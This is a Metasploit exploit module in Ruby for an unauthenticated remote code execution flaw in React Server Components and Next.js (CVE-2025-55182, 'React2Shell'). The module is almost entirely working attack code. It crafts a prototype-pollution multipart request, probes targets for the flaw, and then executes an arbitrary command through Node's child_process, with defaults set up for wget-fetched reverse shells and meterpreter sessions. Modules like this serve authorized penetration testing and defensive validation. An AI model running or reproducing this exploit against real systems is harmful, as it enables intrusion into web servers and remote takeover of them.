## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Unauthenticated RCE in React and Next.js', 'Description' => %q{ A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype pollution during deserialization of RSC payloads by sending specially crafted multipart requests with "__proto__", "constructor", or "prototype" as module names. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maksim Rogov', # Metasploit Module 'Lachlan Davidson', # Vulnerability Discovery 'maple3142' # Public Exploit ], 'References' => [ ['CVE', '2025-55182'], ['CVE', '2025-66478'], ['URL', 'https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components'], ['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3'] ], 'Platform' => ['multi'], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix Command', { 'Platform' => ['unix', 'linux'], 'DefaultOptions' => { 'FETCH_COMMAND' => 'WGET' } # Tested with cmd/unix/reverse_bash # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command', { 'Platform' => ['windows'] # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ], ], 'Payload' => { 'BadChars' => '"' }, 'DefaultTarget' => 0, 'DisclosureDate' => '2025-12-03', 'Notes' => { 'AKA' => ['React2Shell'], 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Path to the React App', '/']), ] ) end def build_malicious_chunk(ref_idx, reason, get_token, node_payload) { 'then' => "$#{ref_idx}:then", 'status' => 'resolved_model', 'reason' => reason, 'value' => { 'then' => '$B' }.to_json, '_response' => { '_prefix' => node_payload, '_formData' => { 'get' => "$#{ref_idx}:#{get_token}:constructor" } } }.to_json end def get_random_value random_string = Rex::Text.rand_text_alphanumeric(6..14).upcase ['""', '{}', '[]', 'null', 'undefined', 'true', 'false', "\"#{random_string}\""].sample end def build_post_data(node_payload) random_reason = -Rex::Text.rand_text_numeric(1, '0').to_i random_ref_idx = Rex::Text.rand_text_numeric(1, '0').to_i random_get_token = ['then', 'constructor'].sample chunk = build_malicious_chunk(random_ref_idx, random_reason, random_get_token, node_payload) post_data = Rex::MIME::Message.new post_data.add_part(chunk, nil, nil, 'form-data; name="0"') cycle_length = rand(random_ref_idx..9) (1..cycle_length).each do |i| value = (i == random_ref_idx) ? "\"$@#{random_ref_idx}\"" : get_random_value post_data.add_part(value, nil, nil, "form-data; name=\"#{i}\"") end post_data end def send_payload(node_payload) post_data = build_post_data(node_payload) send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'headers' => { 'Next-Action' => '' }, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s ) end def check random_id = Rex::Text.rand_text_alphanumeric(8..16).upcase node_payload = "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/#{random_id};307;`});" res = send_payload(node_payload) return CheckCode::Unknown("#{peer} - No response from web service") unless res headers_text = res.headers.to_s return CheckCode::Appears if res.code == 303 && headers_text.include?("/#{random_id};push") CheckCode::Safe("The target #{target_uri} is not vulnerable") end def exploit node_payload = "process.mainModule.require('child_process').exec(\"#{payload.encoded}\",{detached:true,stdio:'ignore'},function(){});" send_payload(node_payload) end end